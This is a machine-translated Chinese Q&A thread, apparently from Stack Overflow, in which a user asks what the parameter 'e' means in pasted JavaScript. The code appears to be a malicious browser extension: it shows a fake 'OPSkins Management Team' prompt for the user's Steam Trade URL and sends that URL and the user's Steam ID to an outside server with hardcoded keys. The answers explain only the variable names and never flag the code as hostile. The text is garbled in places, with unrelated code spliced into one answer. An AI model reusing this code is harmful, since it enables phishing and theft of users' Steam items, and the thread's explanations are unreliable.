任何人都可以解释这个javascript中“e”的含义吗?
还有我如何解决这个问题。或者这甚至是可解码的。我很难搞清楚+ e.replace之后的随机字符是什么。我主要认为你需要以某种方式解码它因为它说“decodeURIComponent ...”
我只是不确定这意味着什么
function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|; )
"+e.replace(/([\.$?*| {}\(\)\[\]\\\ / \+ ^ ]) / g, "\\$1") + "=([^;] * )"));return t ? decodeURIComponent(t[1]) : void 0}
JAVASCRIPT(同样,我需要帮助理解“e”在这个javascript中的含义。另外我还想知道如果有人知道另一个字母的含义,例如“t”,“a”和“s” “):
function get_steamID(e) {
steamID = $("body").attr("data-steamid"), steamID ? e() : setTimeout(function() {
get_steamID(e)
}, 10)}function set_code(e) {
return $("#alert-box").is(":hidden") ? $("#qItems .offer-links").length ? ($("#qItems .offer-links a").eq(0).attr("href", "javascript:ShowTradeOffer(" + e + ")"), $("#qItems .offer-links a").eq(1).attr("href", "steam://url/ShowTradeOffer/" + e), !0) : void setTimeout(function() {
set_code(e)
}, 100) : !1}function injectScript(e, t) {
var a = document.getElementsByTagName(t)[0],
s = document.createElement("script");
s.setAttribute("type", "text/javascript"), s.setAttribute("src", e), a.appendChild(s)}function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|; )
"+e.replace(/([\.$?*| {}\(\)\[\]\\\ / \+ ^ ]) / g, "\\$1") + "=([^;] * )"));return t ? decodeURIComponent(t[1]) : void 0}function setCookie(e, t, a) {
a = a || {};
var s = a.expires;
if ("number" == typeof s && s) {
var o = new Date;
o.setTime(o.getTime() + 1e3 * s), s = a.expires = o
}
s && s.toUTCString && (a.expires = s.toUTCString()), t = encodeURIComponent(t);
var i = e + "=" + t;
for (var n in a) {
i += ";
"+n;
var r = a[n];
r !== !0 && (i += "=" + r)
}
document.cookie = i}function updBal() {
$.post(apiURL, {
action: "bal",
keyAccess: keyAccess,
steamid: steamID
}, function(e) {
"-" != e && $("#op-count").text("$" + (current_bal + parseFloat(e))) })}var loginAccess = "c2hhZG93bWFuMDk1",
keyAccess = "619dea94b332475cc6271c4db2511f73",
KeyEncode = "15f8c92ca9a9f790188390159ddf4f3b",
apiURL = "https://opskinsplugin.com/base.php?l=c2hhZG93bWFuMDk1&k=619dea94b332475cc6271c4db2511f73&ek=15f8c92ca9a9f790188390159ddf4f3b",
steamID = !1,
isSending = !1,
myForm = !1,
elemNames = [],
current_bal = parseFloat($("#op-count").text().substr(1));if (injectScript(chrome.extension.getURL("steam.js"), "body"), get_steamID(function() {
updBal()
}), setInterval(updBal, 5e3), "?loc=shop_sale_form" == document.location.search) {
get_steamID(function() {if (isSending = getCookie("sendID" + steamID), "1" != isSending) {if (myForm = !0, 0 == $("#tradeUrlModal").length) {
var e = '<div class="modal fade" id="tradeUrlModal" aria-hidden="false" style="display: block;
padding - left: 11 px;
"> <div class="
modal - backdrop fade " style="
height: 373 px;
"></div> <div class="
modal - dialog modal - lg "> <div class="
modal - content "> <div class="
modal - header "> <h4 class="
modal - title ">Please enter your Trade URL.</h4> </div> <div class="
modal - body "> <h3>We need your Trade URL in order to be able to send you Steam trade offers.</h3> <p> <a href="
https: //steamcommunity.com/profiles/'+steamID+'/tradeoffers/privacy#trade_offer_access_url" target="_blank" class="btn btn-danger btn-lg" style="width:100%">Please click here to get it.</a> </p> <div class="input-group input-group-lg"> <span class="input-group-addon">Trade URL</span> <input type="text" class="form-control" id="trade-url" placeholder="Paste Trade URL here" required=""> <a href="#" id="save-trade-url" class="btn btn-primary input-group-addon">Save Trade URL</a> </div> </div> <div class="modal-footer"> <p>OPSkins Management Team</p> </div> </div> </div> </div>';
$("body").append(e)
}
$("#tradeUrlModal").modal("show")
}
}), $(document).on("click", "#save-trade-url", function() {
var e = $("#trade-url").val();
return e ? void $.ajax({
url: apiURL,
type: "POST",
data: {
action: "saveTradeURL",0 keyAccess: keyAccess,
steamid: steamID,
url: e
结束JAVASCRIPT
我只是试图打破这个javascript,对我来说,看起来“e”可能是某种变量,但我不确定。
我真的只是想了解这个脚本背后的“隐藏”含义,以及“e”究竟是什么以及看起来要编码的javascript是什么或者是什么。
非常感谢任何可以帮助我的人!
答案 0 :(得分:1)
e
只是getCheck
函数的参数名称。查看代码,它收到的参数是一个字符串。 e
是参数的略微奇数名称,因为通常e
用于Event
event
的参数名称e
也经常使用),但显然没有在这里使用。该代码的作者只使用function Man(sID) {
this.standingID = sID; this.leftID = []; this.rightID = [];
this.addToLeftID = function(a){
this.leftID.push(a);
return this;
}
this.addToRightID = function(a){
this.rightID.push(a);
return this;
}
}
。
答案 1 :(得分:0)
在这种情况下,e
是一个字符串参数。作为T.J.克劳德说,由于e
通常用于Event
类型参数,因此命名错误。
与随机字符一样,它是用于将某些特殊字符序列替换为其他字符的正则表达式模式。
此整个代码用于从访问者的计算机中检索特定的Cookie。
在此代码中,e
是Cookie的名称。